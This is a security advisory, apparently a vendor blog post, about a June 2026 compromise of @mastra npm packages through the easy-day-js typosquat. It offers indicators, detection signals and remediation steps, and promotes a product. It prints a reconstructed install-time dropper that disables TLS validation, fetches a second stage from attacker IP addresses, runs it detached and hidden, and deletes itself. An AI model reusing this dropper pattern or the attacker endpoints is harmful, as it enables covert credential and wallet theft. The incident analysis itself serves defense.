The Short Version
What: On June 17, 2026, an attacker used a hijacked maintainer account to republish 140+ packages across the @mastra npm scope, the AI-agent framework from the team behind Gatsby. The library code was untouched; each release just added one dependency line pointing at easy-day-js, a dayjs typosquat that runs a remote payload on install.
Impact: 140+ packages republished in about 88 minutes (reporting ranges from 140+ to 144). The scope pulls tens of millions of downloads a month (vendors put the aggregate near 29 million; @mastra/core alone is roughly 4 million a month, about 918,000 a week), though the real blast radius is narrower, since you are only exposed if you installed on or after June 17. The payload is a cross-platform infostealer and crypto-wallet thief that persists on Windows, macOS, and Linux and beacons to attacker infrastructure.
Status: npm cleanup appears underway: easy-day-js removed, the ehindero account removed as owner, malicious latest tags reverted, and Mastra forward-rolling clean versions. But mirrors, caches, lockfiles, smaller-package snapshots, and already-installed environments may still carry the compromised versions. Treat any host that installed an affected @mastra package on or after June 17 as compromised until proven otherwise.
Severity: High. The malware runs during npm install, before any import, so a lockfile update or fresh install alone is enough to get hit. This is not one bad package you pin and forget; it is a repeatable pattern: poison a transitive dependency, leave the trusted package’s code clean, and let install hooks do the work.
Why it matters for package intake: No malware went into Mastra’s own code. The attacker added one dependency line and dropped the project’s normal SLSA provenance, so reviewing the named package’s source alone misses it, because the malicious code lives one dependency down. This is the gap SecureChain closes, by analyzing new versions at onboarding (the version-to-version diff, new or unused dependencies, install hooks, obfuscated payloads) before a release is trusted downstream.
Do this now: Check lockfiles for any @mastra package or easy-day-js, treat any machine that installed one as compromised, rotate exposed credentials and audit cryptocurrency wallets, block the two C2 addresses, and pin Mastra to the last provenance-backed release.
Am I Affected?
You may be affected if your organization:
- Installed any
@mastra/*package, the top-levelmastrapackage, orcreate-mastraon or after June 17, 2026 - Runs npm install in CI, build, or deployment pipelines without disabling install scripts
- Auto-updates dependencies, or uses caret ranges that resolve to the latest matching version at install time
- Builds AI agents or applications on Mastra, which means the affected hosts likely hold LLM API keys, cloud credentials, and database tokens
- Consumes any package that itself depends on a Mastra component, since the risk rides in transitively
- Has cryptocurrency wallet browser extensions present on a developer machine that ran an affected install
- Treats a familiar publisher, a green install, or a previously clean dependency as proof that a release is safe
A quick place to start is checking whether the dropper dependency resolved anywhere in your tree:
npm ls easy-day-js
grep -REn "@mastra/|\"mastra\"|easy-day-js" package-lock.json yarn.lock pnpm-lock.yaml 2>/dev/null
Then look on hosts and runners for the artifacts the dropper leaves behind:
ls -la ~/.pkg_history ~/.pkg_logs 2>/dev/null
find "$HOME" -maxdepth 1 -type f -name '*.js' -newermt '2026-06-17' 2>/dev/null
If either search returns something, Don’t delete files and rotate keys yet – preserve the host first.The install hook fetched its real payload at runtime and self-deleted, so the dropper on disk is not the whole story, and you will want logs and the spawned process before you start cleaning up.
What the easy-day-js Mastra Attack Is
Mastra is an open-source TypeScript framework for building AI agents, multi-step workflows, and RAG pipelines, with native hooks into the major LLM providers, vector databases, and cloud deployment targets. Across the scope, its packages are pulled into the tens of millions of installs a month. That reach, plus the fact that Mastra environments tend to sit on top of exactly the credentials an attacker wants, is what made one stolen account so valuable.
Here is the shape of it. An attacker took over the npm account ehindero, a former Mastra contributor whose scope access had never been revoked, and which had reportedly sat dormant for about 16 months. npm has no scope-permission expiry to age out access like that, so a long-idle contributor account stayed a live key to the whole namespace. In the early hours of June 17, the attacker ran what was clearly a script: it walked the @mastra organization and republished package after package, roughly in download order, in tight clusters. The first 32 or so packages landed in about the first 27 minutes; the broader sweep of 140-plus ran for roughly 88 minutes.
Every affected package was Mastra’s real, unmodified library code with one new line in package.json: a dependency on easy-day-js. That is the entire compromise on the Mastra side. One line.
easy-day-js is the actual weapon, and it sits one level down. It is a typosquat of dayjs, a date library with more than 40 million weekly downloads, copied closely enough to pass a glance: same description, same author metadata, same homepage and repo URL, the real bundled dayjs.min.js. The only meaningful difference in the malicious release is a single added file and a postinstall hook that runs it.
This is the part worth sitting with. The packages you would probably audit first, the @mastra ones, have clean library code. The malware is in a dependency most of those packages never even import. It does no work for the library. Its only job is to be resolved and installed, which is enough to fire the hook.
How One Line Reached Everyone: The Version-Resolution Trick
The attacker did the quiet work a day early. On June 16 at 07:05 UTC, a related account, sergey2016, published [email protected] as a clean, fully functional dayjs clone with no install hook. A decoy. That clean version is the one wired into the Mastra packages, declared as:
"easy-day-js": "^1.11.21"
The caret is the whole trick. A caret range tells npm to resolve to the latest matching version at install time, not the exact one written down. So when [email protected] went live at 01:01 UTC on June 17 carrying the dropper, every fresh install of an affected Mastra package started pulling the weaponized version automatically. No further change to any @mastra package was needed. The poison was staged, then switched on eleven minutes before the scope-wide republish began.
There is a tradecraft detail that says this was not improvised. Socket reported that an identical loader sample had been seen on public sandboxes around May 29, roughly 19 days before the Mastra publish. This was reused tooling, not a one-off.
Each malicious release also dropped the SLSA provenance attestation that Mastra’s GitHub Actions pipeline normally produces, and several tripped a metadata-mismatch check because the declared mastra-ai/mastra repository did not vouch for the published artifact. Both point the same direction: a manual publish from outside the project’s CI, using a token with org-wide rights.
Inside the Dropper
The malicious file in [email protected] is a roughly 4.5 KB script run by a postinstall hook:
"scripts": {
"postinstall": "node setup.cjs --no-warnings"
}
The --no-warnings flag suppresses the Node runtime warnings that might otherwise tip off whoever is watching the install scroll by. The script itself is obfuscated with a rotated, custom-alphabet string array sitting behind a base64 decoder, with an arithmetic integrity check, the kind of layering meant to defeat static analysis that evaluates the array before the rotation runs. Reconstructed, the install-time routine does this:
// 1. Disable TLS certificate validation for the whole process
process.env.NODE_TLS_REJECT_UNAUTHORIZED = '0';
(async () => {
try {
const stage2Url = 'https://23.254.164.92:8000/update/49890878';
const stage2C2 = '23.254.164.123:443';
// 2. Drop marker/beacon files (home or temp dir, depending on the variant)
fs.writeFileSync(path.join(os.homedir(), '.pkg_history'), __dirname, 'utf-8');
fs.writeFileSync(path.join(os.homedir(), '.pkg_logs'), markerBytes);
// 3. Fetch the second stage over the now-unverified TLS connection
const payload = await (await fetch(stage2Url)).text();
// 4. Write it to a random 24-hex-character filename
const name = crypto.randomBytes(12).toString('hex') + '.js';
const dest = path.join(os.homedir(), name);
fs.writeFileSync(dest, payload, 'utf-8');
// 5. Run it detached and hidden, so it outlives the install
child_process.spawn(process.execPath, [dest, stage2C2], {
cwd: os.homedir(), detached: true, stdio: 'ignore', windowsHide: true
}).unref();
} catch {}
finally {
// 6. Delete the dropper to remove the on-disk evidence
fs.rmSync(__filename, { force: true });
}
})();
Every step earns its place. Setting NODE_TLS_REJECT_UNAUTHORIZED=0 lets the dropper talk to a bare IP on port 8000 with no valid certificate. The real payload is never shipped inside the tarball, only fetched at install time, so the published artifact stays small and clean-looking. detached: true plus .unref() means the spawned process keeps running after npm install returns, and windowsHide: true keeps it off-screen on Windows. The finally block removes setup.cjs, so a later look through node_modules turns up nothing.
One reporting wrinkle worth knowing: vendors disagree on whether the marker files and staged payload land in the home directory or the OS temp directory. Check both. The behavior is the same either way.
The second stage is where the damage happens. It is a cross-platform information stealer that harvests browser history, inventories data from more than 160 cryptocurrency-wallet browser extensions, installs persistence across Windows, macOS, and Linux, and exfiltrates to the C2. It also polls for commands, including a download-and-run module fetched from an attacker-supplied URL. On a Mastra build host, the most valuable thing in reach is usually the environment: LLM API keys, cloud credentials, registry and CI tokens.
If you installed an affected version, assume the host is compromised, not just the package tree. The hook is the smallest part of the story.
The Part That Should Change How You Think About Intake
It is tempting to file this under “another typosquat” and move on. That misses what actually defeated the defenses here.
Mastra does things mostly right. It ships real releases from CI through npm’s trusted-publisher flow, and those releases carry SLSA provenance. The problem is that Mastra generated provenance but did not require it on install. So a standard token could publish a release with no attestation, and nothing downstream rejected it. A policy that requires trusted-publisher provenance, signature verification, or attestations would have refused every package in this wave.
Now look at what a code reviewer would have seen. Pull any affected @mastra package and read the library source. It is untouched. There is exactly one new line in package.json, a dependency on a package named like a date library, that the package never imports. If your intake control reviews only the named package’s own library source, it sees nothing wrong, because nothing in that source is wrong.
That is the gap, and it is the same shape as the maintainer-publishes-poisoned-source problem behind incidents like Tiledesk: the integrity break is earlier or one level over from where the trust signal points. 2FA and a familiar publisher confirm the release came from the real account. They do not tell you the release pulled in a weaponized dependency, or that it shipped without the provenance its own pipeline normally produces.
This is the specific gap SecureChain is built to address. Because it reasons over the version-to-version diff at onboarding instead of trusting the publish event, it would examine what actually changed between the last clean Mastra release and this one: a new, unused dependency added to a mature package, a dropped provenance attestation, and, one hop down, a postinstall hook running an obfuscated payload.
Those are exactly the categories that should raise an alarm – a new unused dependency, an install-time execution hook, obfuscation, runtime fetch, and exfiltration behavior – before the release ships downstream.
The Mastra attack made one thing clear: a clean package can still ship malware |
Get SecureChain |
| SecureChain vets open-source components prior to install, including suspicious diffs, new or unused dependencies, hidden install hooks, and exfiltration behavior – then secures them through post-EOL. | |
Mitigation
Treat this as a reason to check intake and developer-machine exposure, not just to bump a version number.
- Check your dependency tree Run
npm ls easy-day-jsand grep your lockfiles (package-lock.json, yarn.lock, pnpm-lock.yaml) for@mastra,mastra, andeasy-day-js. Do this across repos and on developer machines, not only in CI. A caret range plus an install on or after June 17 is enough to have pulled the payload. - Treat affected hosts as compromised If an affected version installed anywhere, the dropper disabled TLS validation in-process and launched a detached child fetched at runtime. Isolate the host, hunt for and kill any detached Node process spawned around install time, remove the random <24-hex>.js file and the .pkg_history / .pkg_logs markers from the home or temp directory, and check for the OS-specific persistence artifacts the second stage installs. Preserve logs before you clean.
- Rotate exposed secrets and check wallets Rotate every credential reachable from the host or runner: cloud keys, LLM API keys, registry and CI tokens, SSH keys, and anything in environment variables the build could read. Because the second stage targets cryptocurrency wallet extensions, audit any wallets on affected developer machines, watch for unauthorized transactions, and move high-value wallets to fresh seed phrases.
- Block the C2 and review egress Block outbound traffic to 23.254.164.92 and 23.254.164.123, and review proxy, firewall, and netflow logs for connections to either since 01:12 UTC on June 17. Blocking IPs is for cleanup and historical review, not a durable defense, since infrastructure rotates.
- Pin to provenance-backed releases and block the typosquat Pin every Mastra dependency to the last version published through GitHub Actions with provenance, validate your lockfiles, and add
easy-day-jsto your registry blocklist. Include both 1.11.21 and 1.11.22. The decoy is still attacker-controlled, even if it did not contain the dropper. - Disable install scripts by default
npm install --ignore-scriptsneutralizes this specific class of postinstall dropper. Adopt it as the default in CI where possible, and document the short list of dependencies that genuinely need build scripts, so an exception is a deliberate decision rather than the silent norm. - Enforce signature and provenance verification Require trusted-publisher provenance, signatures, or attestations on high-risk and first-party dependencies. Every release in this wave dropped its normal provenance, so a verifying install policy would have rejected them. A cooldown window on newly published versions also helps, since many malicious releases are caught within hours.
Detection
No single scanner result confirms exposure. The evidence is spread across lockfiles, install logs, host filesystems, network logs, and process listings. Behavioral signals also outlast the atomic ones, since the operator rotates infrastructure and randomizes filenames.
Useful signals include:
- A node setup.cjs process running during npm install
- NODE_TLS_REJECT_UNAUTHORIZED=0 set by an install script
- A detached Node child process spawned during or just after install, with no console output
- The marker files ~/.pkg_history and ~/.pkg_logs, in the home or temp directory
- A random 24-hex-character .js file in the home or temp directory
- Outbound connections from a build host or developer machine to 23.254.164.92:8000 or 23.254.164.123:443
- OS-specific persistence artifacts named NvmProtocal, com.nvm.protocal.plist, or nvmconf.service on Windows, macOS, and Linux respectively [verify exact names before publishing; reported by secondary sources]
- Any
@mastra/*ormastraversion dated 2026-06-17 in a lockfile, especially one published without SLSA provenance easy-day-jsappearing anywhere in a resolved tree- Microsoft Defender for Endpoint reportedly flags the install-time payload as Trojan:JS/ObfusNpmJs, so an EDR hit on that signature around an npm install is worth treating as a strong lead [verify before publishing].
Key indicators of compromise:
[email protected]as the weaponized dropper[email protected]as the clean decoy, still attacker-controlled- The publishing accounts: ehindero for the
@mastrapackages, and sergey2016 foreasy-day-js - C2 and payload: https://23.254.164.92:8000/update/49890878 and 23.254.164.123:443
- The install trigger: “postinstall”: “node setup.cjs –no-warnings”
These checks are a starting point, not a clean bill of health.
Prioritized Remediation Checklist
- Scan lockfiles and trees: search every repo and developer machine for
@mastra,mastra,create-mastra, andeasy-day-js. - Quarantine affected hosts: isolate anything that ran an affected install before cleaning.
- Preserve evidence: keep install logs, process history, and the marker files before deleting artifacts.
- Rotate secrets: cloud, LLM, registry, CI, and SSH credentials reachable from any affected host.
- Audit wallets: check cryptocurrency wallets and extensions on affected developer machines, and rotate high-value wallets to fresh seed phrases.
- Remove persistence: check for and remove the OS-specific persistence the second stage installs on Windows, macOS, and Linux.
- Block C2 and the typosquat: block 23.254.164.92 and 23.254.164.123, and blocklist both
easy-day-jsversions. - Pin and verify: pin Mastra to the last provenance-backed release and require attestations on install.
- Harden intake: default to
--ignore-scriptswhere possible, add a cooldown on new versions, and review new or unused dependency additions as a signal in their own right.
Why This Is Bigger Than One Campaign
The Mastra attack is not interesting because of its scale, though the scale is real. It is interesting because of where the malicious change lived and how little of it there was. One line in a package that was otherwise completely legitimate, pointing at a dependency one hop away, executing before anyone imported anything.
That breaks the assumptions most intake controls run on. A familiar publisher is not proof. A green install is not proof. A package whose own source is clean is not proof, because the source you are reading and the dependency doing the damage are not the same artifact. And signing or 2FA confirm who published, not what they pulled in.
The defensible position is to look at the whole release, not the headline package: what changed since the last version, whether a new dependency appeared and whether anything actually uses it, whether install-time hooks run, whether the build carried the provenance it normally carries, and whether anything in the tree fetches and executes code at install. That is intake-time reasoning, and it is what catches a one-line dependency swap that source review and publisher trust both wave through.
That is the problem SecureChain is built to address. It gives organizations a vetted source for open-source components, with malware screening, source-level inspection, provenance, and ongoing CVE remediation across the component lifecycle. For new package versions, it reasons over the version-to-version diff and flags suspicious changes, including new and unused dependencies, install-time execution hooks, obfuscated payloads, and exfiltration behavior, before they are trusted downstream.
In a case like Mastra, where the carrier package is published cleanly and the malware is one dependency down, that diff-level view is the thing standing between the publish event and your build.
FAQ
Were the Mastra packages themselves malicious? No. Their library code was unchanged. Each affected release added a single dependency on easy-day-js, and that package carried the dropper. The malware ran one level down, during install, which is why reviewing the @mastra library source alone is not enough.
I only updated my lockfile, I never imported a Mastra package. Am I safe? Probably not. The payload runs from a postinstall hook during npm install, before any import. Resolving and installing an affected package, or letting a caret range pull [email protected], is enough to trigger it.
Why did the malware spread through a clean decoy version? The Mastra packages depended on “easy-day-js”: “^1.11.21”, a clean version published a day earlier. The caret range resolves to the latest match at install time, so once the weaponized 1.11.22 went live, fresh installs pulled it automatically with no further change to any Mastra package.
Did SLSA provenance or signing protect anyone here? Only if it was enforced. Mastra generated provenance on CI publishes, but the malicious releases dropped it. An install policy that verifies signatures or requires attestations would have rejected the affected releases.
Who was behind it? Attribution is not confirmed. Snyk noted that the tradecraft, an install-time dropper that self-deletes, resembles the Axios npm compromise earlier in 2026 that Microsoft Threat Intelligence attributed to the actor it tracks as Sapphire Sleet (BlueNoroff), but it was explicit that this is a pattern worth noting, not a confirmed link for this incident. Treat the method as the thing to defend against, not the brand name.
What is the single fastest mitigation? Disable install scripts where you can. npm install --ignore-scripts blocks the postinstall hook and neutralizes this specific dependency-trojan path. Pair it with pinning to provenance-backed releases and blocklisting easy-day-js.
I run very few npm packages directly. Could I still be exposed? Possibly. The risk is transitive. If anything in your tree depends on a compromised Mastra component, you inherited the dependency on easy-day-js along with it.
What is the most important long-term fix? Stop treating a familiar publisher or a clean-looking package as a safety verdict, and move trust decisions to intake. Review version-to-version diffs, flag new and unused dependencies, require provenance, and inspect what runs at install, rather than only scanning the final artifact after it is already in your environment.
Sources
- Socket: “140+ Mastra npm Packages Compromised in Coordinated Supply Chain Attack”
- SafeDep: “Mastra npm Scope Takeover: 141 Packages Drop a RAT”
- StepSecurity: “Mastra npm Supply Chain Attack: 140+ Packages Backdoored via easy-day-js Typosquat”
- The Hacker News: “144 Mastra npm Packages Compromised via Hijacked Contributor Account”
- OX Security: “easy-day-js Supply Chain Attack Hits Mastra AI in npm”
- JFrog: “easy-day-js: Supply Chain Campaign Targets Mastra npm Packages”
- Endor Labs: “Mastra npm Org Compromised: Multiple Packages Trojanized to Drop a Remote Payload via easy-day-js”
- Snyk: “A Forgotten Contributor Account Compromised the Entire Mastra npm Package Scope”
- Mend: “Mastra npm Scope Takeover via easy-day-js”

